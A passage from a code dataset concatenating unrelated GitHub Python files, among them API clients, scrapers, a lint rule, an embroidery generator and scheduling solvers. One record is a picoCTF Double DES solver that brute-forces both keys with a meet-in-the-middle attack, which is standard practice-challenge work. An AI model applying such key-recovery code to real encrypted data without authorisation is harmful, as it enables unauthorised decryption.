f.write(str(arr[i]) + \" \")\n\nf.close()\n","repo_name":"nikitashuliak/parcs-parallel","sub_path":"get_big_dataset.py","file_name":"get_big_dataset.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31042495362","text":"import requests\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\nbearer_token = os.getenv('BEARER')\n\ndef user_url(user):\n usernames = \"usernames={}\".format(user)\n user_fields = \"user.fields=description,created_at\"\n url = \"https://api.twitter.com/2/users/by?{}\".format(usernames, user_fields)\n return url\n\ndef followers_url(id):\n user_id = id\n return \"https://api.twitter.com/2/users/{}/followers\".format(user_id)\n\n\ndef user_oauth(r):\n r.headers[\"Authorization\"] = f\"Bearer {bearer_token}\"\n r.headers[\"User-Agent\"] = \"v2UserLookupPython\"\n return r\n\ndef followers_oauth(r):\n r.headers[\"Authorization\"] = f\"Bearer {bearer_token}\"\n r.headers[\"User-Agent\"] = \"v2FollowersLookupPython\"\n return r\n\ndef followers_params():\n return {\"user.fields\": \"public_metrics,profile_image_url\",}\n\ndef connect_user_endpoint(url):\n response = requests.request(\"GET\", url, auth=user_oauth,)\n print(response.status_code)\n if response.status_code != 200:\n raise Exception(\n \"Request returned an error: {} {}\".format(\n response.status_code, response.text\n )\n )\n return response.json()\n\n\ndef connect_follow_endpoint(url, params):\n response = requests.request(\"GET\", url, auth=user_oauth, params=params)\n print(response.status_code)\n if response.status_code != 200:\n raise Exception(\n \"Request returned an error: {} {}\".format(\n response.status_code, response.text\n )\n )\n return response.json()\n\n\ndef all_followers(username):\n users_url = user_url(username)\n user = connect_user_endpoint(users_url)\n id = user['data'][0]['id']\n follow_url = followers_url(id)\n params = followers_params()\n followers = connect_follow_endpoint(follow_url, params)\n all_followers = followers['data']\n token = followers['meta']['next_token']\n while(token):\n new_params = followers_params()\n new_params['pagination_token'] = token\n new_followers = connect_follow_endpoint(follow_url, new_params)\n all_followers += new_followers['data']\n if('next_token' not in new_followers['meta']):\n token = None\n else:\n token = new_followers['meta']['next_token']\n return all_followers\n\ndef sort_followers(followers):\n followers.sort(key=lambda x: x['public_metrics']['followers_count'], reverse=True)\n\ndef get_top_100(username):\n followers = all_followers(username)\n sort_followers(followers)\n return followers[:100]\n ","repo_name":"ajmalmohad/twitter-api","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1488092300","text":"from Crypto.Cipher import DES\nimport binascii\ninputs = binascii.unhexlify('1234'.rstrip()).decode()\ncipher = binascii.unhexlify('52241f58f8a213dd').rstrip()\nenc_flag = binascii.unhexlify('af1e126eb6b7b77a34e45ab18525eec7149f1740e1119cbdad9f181caa4da5e904bf052c9df3bea9')\n\nkey_table = {}\ndef pad(msg):\n block_len = 8\n over = len(msg) % block_len\n pad = block_len - over\n return (msg + \" \" * pad).encode()\n\nfor a in range(10):\n for b in range(10):\n for c in range(10):\n for d in range(10):\n for e in range(10):\n for f in range(10):\n key1 = pad(str(a)+str(b)+str(c)+str(d)+str(e)+str(f))\n ciph1 = DES.new(key1, DES.MODE_ECB)\n enc_msg = ciph1.encrypt(pad(inputs))\n key_table[enc_msg] = key1 \nfor a in range(10):\n for b in range(10):\n for c in range(10):\n for d in range(10):\n for e in range(10):\n for f in range(10):\n key2 = pad(str(a)+str(b)+str(c)+str(d)+str(e)+str(f))\n ciph2 = DES.new(key2, DES.MODE_ECB)\n if ciph2.decrypt(cipher) in key_table:\n k1 = key_table[ciph2.decrypt(cipher)]\n k2 = key2\n c1 = DES.new(k2, DES.MODE_ECB)\n eg = c1.decrypt(enc_flag)\n c2 = DES.new(k1, DES.MODE_ECB)\n print(c2.decrypt(eg))\n\n","repo_name":"Vincent550102/CTF_storage","sub_path":"solo/picoCTF/old/Cryptography/Double_DES/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28340758966","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport scrapy\nfrom scrapy.linkextractors import LinkExtractor\n\nclass Jianshu(scrapy.Spider):\n name = \"jianshu_spider\"\n allowed_domains = [\"jianshu.com\"]\n\n def __init__(self, *args, **kwargs):\n super(Jianshu, self).__init__(*args, **kwargs)\n self.start_urls = ['https://www.jianshu.com/']\n\n def parse(self, response):\n link = LinkExtractor(restrict_xpaths='//ul[@class=\"note-list\"]/li')\n links = link.extract_links(response)\n if links:\n for link_one in links:\n print (link_one)","repo_name":"csy9730/pyScrawler","sub_path":"code/scrapy/scrapy_sample/scrapy_sample/spiders/jianshu_spider.py","file_name":"jianshu_spider.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"22370368625","text":"import ast\nimport logging\nfrom typing import List, Tuple\n\nfrom flake8_simplify.utils import Call, to_source\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_scr902(node: Call) -> List[Tuple[int, int, str]]:\n \"\"\"Find bare boolean function arguments.\"\"\"\n RULE = \"SCR902 Use keyword-argument instead of magic boolean for '{func}'\"\n errors: List[Tuple[int, int, str]] = []\n\n if isinstance(node.func, ast.Attribute):\n call_name = node.func.attr\n elif isinstance(node.func, ast.Name):\n call_name = node.func.id\n else:\n logger.debug(f\"Unknown call type: {type(node.func)}\")\n return errors\n\n nb_args = len(node.args)\n\n if call_name in [\n \"partial\",\n \"min\",\n \"max\",\n # Common positional-only arguments:\n \"getattr\",\n \"setattr\",\n \"pop\", # if its a dictionary\n ] or call_name.startswith(\"_\"):\n return errors\n\n has_bare_bool = any(\n isinstance(call_arg, (ast.Constant, ast.NameConstant))\n and (call_arg.value is True or call_arg.value is False)\n for call_arg in node.args\n )\n\n is_setter = call_name.lower().startswith(\"set\") and nb_args <= 2\n is_exception = isinstance(node.func, ast.Attribute) and node.func.attr in [\n \"get\"\n ]\n if has_bare_bool and not (is_exception or is_setter):\n source = to_source(node)\n errors.append((node.lineno, node.col_offset, RULE.format(func=source)))\n return errors\n\n\ndef get_scr903(node: Call) -> List[Tuple[int, int, str]]:\n \"\"\"Find bare numeric function arguments.\"\"\"\n RULE = \"SCR903 Use keyword-argument instead of magic number for '{func}'\"\n acceptable_magic_numbers = (0, 1, 2)\n errors: List[Tuple[int, int, str]] = []\n\n if isinstance(node.func, ast.Attribute):\n call_name = node.func.attr\n elif isinstance(node.func, ast.Name):\n call_name = node.func.id\n else:\n logger.debug(f\"Unknown call type: {type(node.func)}\")\n return errors\n\n nb_args = len(node.args)\n if nb_args <= 1 or call_name.startswith(\"_\"):\n return errors\n\n functions_any_arg = [\"partial\", \"min\", \"max\", \"minimum\", \"maximum\"]\n functions_1_arg = [\"sqrt\", \"sleep\", \"hideColumn\"]\n functions_2_args = [\n \"arange\",\n \"uniform\",\n \"zeros\",\n \"percentile\",\n \"setColumnWidth\",\n \"float_power\",\n \"power\",\n \"pow\",\n \"float_power\",\n \"binomial\",\n ]\n if any(\n (\n call_name in functions_any_arg,\n call_name in functions_1_arg and nb_args == 1,\n call_name in functions_2_args and nb_args == 2,\n call_name in [\"linspace\"] and nb_args == 3,\n \"color\" in call_name.lower() and nb_args in [3, 4],\n \"point\" in call_name.lower() and nb_args in [2, 3],\n )\n ):\n return errors\n\n has_bare_int = any(\n isinstance(call_arg, ast.Num)\n and call_arg.n not in acceptable_magic_numbers\n for call_arg in node.args\n )\n\n is_setter = call_name.lower().startswith(\"set\") and nb_args <= 2\n is_exception = isinstance(node.func, ast.Name) and node.func.id == \"range\"\n is_exception = is_exception or (\n isinstance(node.func, ast.Attribute)\n and node.func.attr\n in [\n \"get\",\n \"insert\",\n ]\n )\n if has_bare_int and not (is_exception or is_setter):\n source = to_source(node)\n errors.append((node.lineno, node.col_offset, RULE.format(func=source)))\n return errors\n","repo_name":"MartinThoma/flake8-scream","sub_path":"flake8_scream/rules/ast_call.py","file_name":"ast_call.py","file_ext":"py","file_size_in_byte":3522,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"1704989691","text":"import turtle\r\nfrom turtle import *\r\n\r\nspeed(200)\r\n\r\nlength = float(input(\"Please enter length of koch pattern, in 0.1mm: \"))\r\ndepth = float(input(\"Please enter depth i.e. level of koch pattern: \"))\r\n\r\nstitches = []\r\n\r\n\r\ndef f(length,depth,stitches):\r\n\r\n \r\n\r\n if depth == 0:\r\n\r\n x1=round(turtle.xcor());\r\n y1=round(turtle.ycor());\r\n \r\n turtle.forward(length)\r\n\r\n x2=round(turtle.xcor());\r\n y2=round(turtle.ycor());\r\n\r\n if x2-x1<0:\r\n dx=255 + round((x2-x1))\r\n dx2=abs(round((x2-x1)))\r\n else:\r\n dx=round((x2-x1))\r\n dx2=255-round((x2-x1))\r\n\r\n if y2-y1<0:\r\n dy=255 + round((y2-y1))\r\n dy2=abs(round((y2-y1)))\r\n else:\r\n dy=round((y2-y1))\r\n dy2=255-round((y2-y1))\r\n\r\n \r\n stitches.append(dx)\r\n stitches.append(dy)\r\n stitches.append(dx2)\r\n stitches.append(dy2)\r\n stitches.append(dx)\r\n stitches.append(dy)\r\n stitches.append(dx2)\r\n stitches.append(dy2)\r\n stitches.append(dx)\r\n stitches.append(dy)\r\n \r\n\r\n else:\r\n f(length/3,depth-1,stitches)\r\n turtle.right(60)\r\n f(length/3,depth-1,stitches)\r\n turtle.left(120)\r\n f(length/3,depth-1,stitches)\r\n turtle.right(60)\r\n f(length/3,depth-1,stitches)\r\n\r\n print(stitches)\r\n\r\n\r\ndef getStitches():\r\n stitches = [128, 2] # 128 = escape_character -> 2 = Move followed by 8 bit displacement X,Y\r\n\r\n stitches += [0,0,0,0,0,0,]\r\n #for i in range(9):\r\n #stitches += [0,0,0,0,0,0,]\r\n #stitches += [128, 0, 225, 50]\r\n\r\n \r\n for i in range(6):\r\n f(length,depth,stitches) \r\n right(60)\r\n\r\n #for i in range(2):\r\n # stitches += [128, 0, 120, 30]\r\n\r\n #stitches += [128, 1] # 128 = escape_character -> 1 = Change to next thread in list\r\n\r\n\r\n #for i in range(6):\r\n #f(length,depth,stitches) \r\n #right(60)\r\n \r\n #for i in range(2):\r\n #stitches += [128, 0, 120, 30]\r\n\r\n #stitches += [128, 1] # 128 = escape_character -> 1 = Change to next thread in list\r\n\r\n\r\n\r\n #for i in range(6):\r\n #f(length,depth,stitches) \r\n #right(60)\r\n\r\n\r\n stitches += [128, 16] # 128 = escape_character -> 16 = last_stitch \r\n return stitches\r\n\r\ndef getJeffList(stitches):\r\n jefBytes = [ 128, 0, 0, 0, # The byte offset of the first stitch\r\n 10, 0, 0, 0, # unknown command\r\n ord(\"2\"), ord(\"0\"), ord(\"2\"), ord(\"1\"), #YYYY\r\n ord(\"0\"), ord(\"2\"), ord(\"2\"), ord(\"4\"), #MMDD\r\n ord(\"1\"), ord(\"5\"), ord(\"2\"), ord(\"1\"), #HHMM\r\n ord(\"0\"), ord(\"0\"), 99, 0, #SS00\r\n 3, 0, 0, 0, # Thread count nr. (nr of thread changes)\r\n (len(stitches)//2) & 0xff, (len(stitches)//2) >> 8 & 0xff, 0, 0, # Number of stitches\r\n 3, 0, 0, 0, # Sewing machine Hoop\r\n # Extent 1\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n # Extent 2\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n # Extent 3\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n # Extent 4\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n # Extent 5\r\n 50, 0, 0, 0, # Left boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Top boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Right boundary dist from center (in 0.1mm)\r\n 50, 0, 0, 0, # Bottom boundary dist from center (in 0.1mm)\r\n 9, 0, 0, 0, # Thread Color (white)\r\n 7, 0, 0, 0, # Thread Color (white)\r\n 6, 0, 0, 0, # Thread Color (white)\r\n 13, 0, 0, 0, # Thread type (unknown)\r\n ] + stitches\r\n return jefBytes\r\ndef main():\r\n data = bytes(getJeffList(getStitches()))\r\n with open(\"snowflake.jef\", \"wb\") as f:\r\n f.write(data)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Priya4120/Fractal-Pattern-Embroidery","sub_path":"emb.py","file_name":"emb.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73193150121","text":"import contextlib\n\nfrom pagermaid import log\nfrom pagermaid.enums import Client, Message\nfrom pagermaid.listener import listener\nfrom pagermaid.scheduler import add_delete_message_job\nfrom pagermaid.utils import alias_command\n\n\n@listener(\n command=\"da\",\n groups_only=True,\n need_admin=True,\n description=\"删除群内所有消息。（非群组管理员只删除自己的消息）\",\n parameters=\"[true]\",\n)\nasync def da(bot: Client, message: Message):\n if message.arguments != \"true\":\n return await message.edit(\n f\"[da] 呜呜呜，请执行 `,{alias_command('da')} true` 来删除所有消息。\"\n )\n await message.edit(\"[da] 正在删除所有消息 . . .\")\n messages = []\n count = 0\n async for message in bot.get_chat_history(message.chat.id):\n messages.append(message.id)\n count += 1\n if count % 100 == 0:\n with contextlib.suppress(Exception):\n await bot.delete_messages(message.chat.id, messages)\n messages = []\n\n if messages:\n with contextlib.suppress(Exception):\n await bot.delete_messages(message.chat.id, messages)\n await log(f\"批量删除了 {str(count)} 条消息。\")\n with contextlib.suppress(Exception):\n reply = await bot.send_message(message.chat.id, f\"批量删除了 {str(count)} 条消息。\")\n add_delete_message_job(reply, delete_seconds=5)\n","repo_name":"TeamPGM/PagerMaid_Plugins_Pyro","sub_path":"da/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":192,"dataset":"github-code","pt":"18"} +{"seq_id":"21966629116","text":"# -*- coding: utf-8 -*-\nimport scrapy\n\n\nclass BaiduSpider(scrapy.Spider):\n name = 'baidu'\n allowed_domains = ['www.baidu.com']\n start_urls = ['http://www.baidu.com/']\n\n custom_settings = {\n 'DEFAULT_REQUEST_HEADERS': {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) ' +\n 'AppleWebKit/537.36 (KHTML, like Gecko) ' +\n 'Chrome/75.0.3770.142 Safari/537.36'\n }\n }\n\n def __init__(self, category=None, *args, **kwargs):\n super(BaiduSpider, self).__init__(*args, **kwargs)\n self.category = category\n self.logger.info(self.category)\n\n def parse(self, response):\n self.logger.info(self.category)\n","repo_name":"SuperBlc/Python-based-Crawler-Learning","sub_path":"Chapter09-scrapy-glance/quotetutorial/quotetutorial/spiders/baidu.py","file_name":"baidu.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"11408562129","text":"\"\"\"Multi level\"\"\"\nclass Student(object):\n\tstudentCount=0\n\tdef getStudent(self,rollno,name,course):\n\t\tself.rollno=rollno\n\t\tself.name=name\n\t\tself.course=course\n\t\tStudent.studentCount+=1\n\tdef displayStudent(self):\n\t\tprint(\"Roll No:\",self.rollno)\n\t\tprint(\"Name :\",self.name)\n\t\tprint(\"Course :\",self.course)\t\n\nclass Test(Student):\n\tdef getMarks(self,marks):\n\t\tself.marks=marks\n\tdef displayMarks(self):\n\t\tprint(\"Marks :\",self.marks)\n\nclass Result(Test):\n\tdef calculateGrade(self):\n\t\tif self.marks>480:self.grade=\"Distinction\"\n\t\telif self.marks>360:self.grade=\"First Class\"\n\t\telif self.marks>240:self.grade=\"Second Class\"\n\t\telse:self.grade=\"Failed\"\n\t\tprint(\"Result:\",self.grade)\n\nr=int(input(\"Enter rollno?\"))\nn=input(\"Enter name?\")\nc=input(\"Enter Course?\")\nm=int(input(\"Enter Marks?\"))\n\nstud=Result()\nstud.getStudent(r,n,c)\nstud.getMarks(m)\nstud.displayStudent()\nstud.displayMarks()\nstud.calculateGrade()\t\n","repo_name":"glen-s-abraham/sem3record","sub_path":"13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14445286990","text":"### コーパスの作成\n### 長さ2以上の名詞と未知語を特徴とする\n### ストップワードは取り除く\n\nimport os\nimport re\n\n### ストップワードのリスト\nstopword = set()\n\n### 日本語ストップワード\nwith open('../stopword/Japanese.txt', 'r', encoding='utf-8') as f:\n\tfor line in f:\n\t\tword = line.rstrip('\\n')\n\t\tstopword.add(word)\n\n\n### 英語ストップワード\nwith open('../stopword/English.txt', 'r', encoding='utf-8') as f:\n\tfor line in f:\n\t\tword = line.rstrip('\\n')\n\t\tstopword.add(word)\n\n### 正規表現\npattern = re.compile(r'[ぁ-んァ-ンー\\u4e00-\\u9FFF]+')\n\ninput_folder = \"../tmp/process3/\"\ncorpus_path = \"../corpus/corpus.data\"\n\n### コーパスの作成\nf_w = open(corpus_path, 'w', encoding='utf-8')\ndocuments = os.listdir(input_folder)\nfor doc in documents:\n\n\tif doc.startswith(\".\"):\n\t\tcontinue\n\n\tinput_path = input_folder + doc\n\n\tf_r = open(input_path, 'r', encoding='utf-8')\n\n\treception_part = [\"名詞\", \"未知語\"]\n\n\tfor line in f_r:\n\n\t\tline = line.rstrip('\\n')\n\t\ttoken = line.split('_')\n\t\tif len(token) != 2:\n\t\t\tcontinue\n\n\t\tword = token[0]\n\t\tpart = token[1]\n\n\t\tif part not in reception_part:\n\t\t\tcontinue\n\t\tif len(word) == 1:\n\t\t\tcontinue\n\t\tif word in stopword:\n\t\t\tcontinue\n\n\t\tfor w in pattern.findall(word):\n\t\t\tf_w.write(w + \" \") \n\n\tf_r.close()\n\t\n\tf_w.write(\"\\n\")\n\nf_w.close()","repo_name":"breakbee/PDFAnalysis","sub_path":"scripts/make_corpus.py","file_name":"make_corpus.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"5490371140","text":"# MAT337 Assignment - Soroush Khoubyarian\n\nfrom math import pi, cos\nimport numpy as np\nfrom utils.PlotGrapher import PlotGrapher\nfrom utils.Label import Label\nfrom utils.Slider import Slider, Orientation\nfrom utils.TrendlineInteractive import TrendlineInteractive\nfrom utils.Color import Color\n\nxvals = np.linspace(-pi, pi, 500)\nfunc = lambda t, r : (1-r**2) / (1 - 2*r*cos(t) + r**2)\nsliderR = (\n Slider(0, 0.90, 0.5)\n .withOrientation(Orientation.HORIZONTAL)\n .withLabel(Label(\"$r$\", 20))\n .withColor(Color(1, 0, 1))\n .withThickness(0.05)\n .withLength(0.7)\n)\ntrendlineInteractive = (\n TrendlineInteractive(xvals, func, [sliderR], [])\n .withColor(Color(1, 0, 0))\n .withLineWidth(2)\n)\n\ng = PlotGrapher()\n\ng.setGrid(True)\n\ng.setFigsize((12, 7))\n\ng.setTitle(Label(\"Poisson's Kernal $P(r, \\\\theta)$\", 40))\ng.setXLabel(Label(\"$\\\\theta$\", 30))\ng.setYLabel(Label(\"$P(r, \\\\theta)$\", 30))\n\ng.setXTickFontSize(20)\ng.setYTickFontSize(20)\n\ng.setTrendlineInteractive(trendlineInteractive)\n\ng.setXLim((-pi, pi))\ng.setYLim((0, 10))\n\ng.setSliderHorizontalPadding(0.2)\ng.setSliderHorizontalBottom(0.05)\ng.setSliderHorizontalLeft(0.1)\ng.setSliderVerticalBottom(0)\ng.setSliderVerticalPadding(0)\ng.setSliderVerticalLeft(0.1)\n\ng.show()\n","repo_name":"soroush1379/MAT337-Presentation","sub_path":"poisson_kernel_interactive.py","file_name":"poisson_kernel_interactive.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3466415050","text":"from mock import patch\n\nfrom . import BaseTestCase\n\n\nclass TestHeathcheckFunction(BaseTestCase):\n\n @patch(\"thinkhazard.tweens.Publication.last\",\n side_effect=Exception(\"Healthcheck should not raise exception while publishing\"))\n def test_healthcheck(self, last_mock):\n self.testapp.get(\"/healthcheck\", status=200)\n","repo_name":"GFDRR/thinkhazard","sub_path":"tests/views/test_healthcheck.py","file_name":"test_healthcheck.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"18"} +{"seq_id":"23901839332","text":"\n'Use <m> or <message> to retrieve the data transmitted by the scanner.'\n'Use <t> or <terminal> to retrieve the running terminal browse record.'\n'Put the returned action code in <act>, as a single character.'\n'Put the returned result or message in <res>, as a list of strings.'\n'Put the returned value in <val>, as an integer'\n\n#保存步骤名称\nif not terminal.get_tmp_value('picking_type_name', False):\n terminal.update_tmp_values({'picking_type_name': message})\n\nact = 'L'\n\n# 装车扫描配置,一步扫描完成装车加固或者装车和加固分开扫描,默认值是一步完成\nscanner_step = terminal.get_tmp_value('scanner_step', 'once')\nscanner_step_cn = terminal.get_tmp_value('scanner_step_cn', '只扫描一次')\n\n# 车厢号\ntrain_manage_line_name = terminal.get_tmp_value('train_manage_line_name', False)\n\n# 上/下层\nlayer_option_cn = terminal.get_tmp_value('layer_option_cn', False)\n\n# vin扫描数量\nvin_scan_count = terminal.get_tmp_value('vin_scan_count', 0)\n\nres = [\n ('|','操作列表'),\n \n]\n\nlst = []\n\nif scanner_step == 'once':\n lst.append(('scanner_step', '扫描配置' + '({0})'.format(scanner_step_cn)))\nelse:\n lst.append(('scanner_step', '扫描配置' + '({0})'.format(scanner_step_cn)))\n\nif train_manage_line_name:\n lst.append(('train', '车厢' + '({0})'.format(train_manage_line_name)))\nelse:\n lst.append(('train', '车厢'))\n \n \nif layer_option_cn:\n lst.append(('layer', '上/下层' + '({0})'.format(layer_option_cn)))\nelse:\n lst.append(('layer', '上/下层'))\n \n \nif vin_scan_count>0:\n lst.append(('vin_scan', 'VIN码扫描' + '({0})'.format(vin_scan_count))) \nelse:\n lst.append(('vin_scan', 'VIN码扫描'))\n \n \nlst.append(('submit', '提交'))\n\n\n# lst = [\n# ('train', '车厢'),\n# ('layer', '上/下层'),\n# ('vin_scan', 'VIN码扫描'),\n# ('submit', '提交'),\n# ]\n\nfor item in lst:\n res.append((item[0], item[1]))\n ","repo_name":"g6982/aop","sub_path":"stock_scanner/data/scenarios/Aop/scanner_scenario_step_仓库_铁路装车_操作列表.py","file_name":"scanner_scenario_step_仓库_铁路装车_操作列表.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15529929962","text":"import time \nfrom copy import deepcopy\n\nimport torch \nimport torch.nn as nn\nimport torch.nn.functional as F \nfrom torch.nn.utils import parameters_to_vector\nimport numpy as np\n\nfrom LANAM.trainer import marglik_training\nfrom LANAM.models import LaNAM\nfrom LANAM.utils.plotting import *\nfrom LANAM.config.default import defaults\n\nfrom laplace.curvature import BackPackGGN\n\nimport wandb\n\ndef wandb_training(config,\n dataset,\n ): \n \"\"\"Hyper-parameter tuning with W&B.\"\"\"\n run = wandb.init()\n \n config.update(**wandb.config)\n config.hidden_sizes = [config.hidden_sizes]\n print(f'Configuration: \\n {config}')\n \n # data\n train_loader, loader_fnn, _, _ = dataset.train_dataloaders()\n test_loader, _ = dataset.test_dataloaders()\n test_samples = dataset.get_test_samples()\n \n likelihood = config.likelihood\n optimizer_kwargs = {'lr': config.lr}\n lr_hyp = config.lr_hyp\n n_epochs_burnin = config.n_epochs_burnin\n n_hypersteps = config.n_hypersteps\n marglik_frequency = config.marglik_frequency\n \n in_features = dataset.in_features\n model = LaNAM(config=config, name=f'LA-NAM-{config.activation_cls}', in_features=in_features)\n \n print(f'Model summary: \\n {model}')\n \n model, margliks, losses, perfs = marglik_training(model, \n train_loader, \n loader_fnn, \n test_loader,\n likelihood=likelihood,\n use_wandb=True, \n test_samples=test_samples,\n optimizer_kwargs=optimizer_kwargs, \n lr_hyp=lr_hyp, \n n_epochs_burnin=n_epochs_burnin, \n n_hypersteps=n_hypersteps, \n marglik_frequency=marglik_frequency, \n plot_recovery=True)\n ","repo_name":"D2phus/Reproduced-LA-NAM","sub_path":"LANAM/trainer/.ipynb_checkpoints/wandb_train-checkpoint.py","file_name":"wandb_train-checkpoint.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32166390883","text":"import math\n\nclass Witi_task:\n def __init__(self, i, p, w, d):\n self.i = i\n self.p = p\n self.w = w\n self.d = d\n\n def __repr__(self):\n return '{}. {} {} {}'.format(self.i, self.p, self.w, self.d)\n\n\n\ndef calc_cmax(pi):\n cmax = 0\n for t in pi:\n cmax += t.p\n\n return cmax\n\ndef calc_T(C, task):\n if C <= task.d:\n return 0\n else:\n return C - task.d\n\ndef calc_delay_sum(pi):\n _time = 0\n _sum = 0\n for t in pi:\n _time += t.p\n T = calc_T(_time, t)\n _sum += t.w * T\n return _sum\n\ndef load_witi_data(path, instance):\n _counter = 0\n _t_counter = 1\n tasks = []\n with open(path, 'r') as f:\n for n, line in enumerate(f):\n line = line.replace('\\n', '')\n _pwds = [int(i) for i in line.split(' ') if i != '']\n if _pwds:\n if len(_pwds) == 3 and _counter == instance + 1:\n tasks.append(Witi_task(_t_counter, _pwds[0], _pwds[1], _pwds[2]))\n _t_counter += 1\n elif len(_pwds) < 3:\n _counter += 1\n\n return tasks\n\ndef solve_witi_with_solver(tasks):\n from ortools.sat.python import cp_model\n \n model = cp_model.CpModel()\n\n #variables: start_time, end_time, delay_sum\n \n #max value of variables\n vmax_val = sum([t.p for t in tasks]) + 1\n #min value of variables\n vmin_val = 0\n\n #initialization of model variables\n model_start_vars = []\n model_end_vars = []\n model_penalty_vars = []\n model_interval_vars = []\n\n #single variable for storing sum of delays\n delay_sum_objective = model.NewIntVar(vmin_val, 2147483647, 'delays_sum')\n\n #each variable for each task\n for n, t in enumerate(tasks):\n suffix = 't:{}'.format(n+1)\n start_var = model.NewIntVar(vmin_val, vmax_val, 'start_'+suffix)\n end_var = model.NewIntVar(vmin_val, vmax_val, 'end_'+suffix)\n penalty_var = model.NewIntVar(vmin_val, 2147483647, 'penalty_'+suffix)\n interval_var = model.NewIntervalVar(start_var, t.p, end_var, 'interval_'+suffix)\n\n model_start_vars.append(start_var)\n model_end_vars.append(end_var)\n model_penalty_vars.append(penalty_var)\n model_interval_vars.append(interval_var)\n\n #CONSTRAINTS\n # 1. no overlap\n model.AddNoOverlap(model_interval_vars)\n # 2. penalty constraint\n for n, t in enumerate(tasks):\n model.Add(t.w * (model_end_vars[n] - t.d) <= model_penalty_vars[n])\n # 3. delay_sum_constraint\n model.Add(sum(model_penalty_vars) <= delay_sum_objective)\n\n #initialize solver and run it\n model.Minimize(delay_sum_objective)\n solver = cp_model.CpSolver()\n solver.parameters.max_time_in_seconds = 300.0\n\n status = solver.Solve(model)\n if (status is not cp_model.OPTIMAL):\n status_readable = 'not optimal'\n else:\n status_readable = 'optimum found!'\n\n pi = []\n for n, t in enumerate(tasks):\n pi.append((t, solver.Value(model_start_vars[n])))\n pi.sort(key=lambda x: x[1])\n pi = [x[0] for x in pi]\n\n return solver.ObjectiveValue(), status_readable, pi\n \n\ndef main():\n data = load_witi_data('c_witi.txt', 0)\n del_sum, status, pi = solve_witi_with_solver(data)\n print(del_sum,'-', status)\n for p in pi:\n print(p)\n\nif __name__ == '__main__':\n main()\n \n","repo_name":"szymon-drzewiecki/SPD","sub_path":"Zadanie7/witi/witi.py","file_name":"witi.py","file_ext":"py","file_size_in_byte":3379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"25577577444","text":"import argparse\nimport os\nimport shutil\nimport sys\nimport appdirs\n\nimport polytaxis\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Perform common cleanup on polytaxis tags.',\n )\n subparsers = parser.add_subparsers(help='Cleanup actions', dest='action')\n subparsers_list = []\n def add_sub(*pargs, **kwargs):\n out = subparsers.add_parser(*pargs, **kwargs)\n subparsers_list.append(out)\n return out\n parser_lowercase = add_sub(\n 'lowercase',\n description='Convert tag keys to lowercase.',\n )\n parser_uppercase = add_sub(\n 'uppercase',\n description='Convert tag keys to uppercase.',\n )\n parser_replace_key = add_sub(\n 'replacekey',\n description='Replace keys.',\n )\n parser_replace_key.add_argument(\n 'match',\n help='Key to match',\n )\n parser_replace_key.add_argument(\n 'replacement',\n help='Replacement',\n )\n parser_extract = 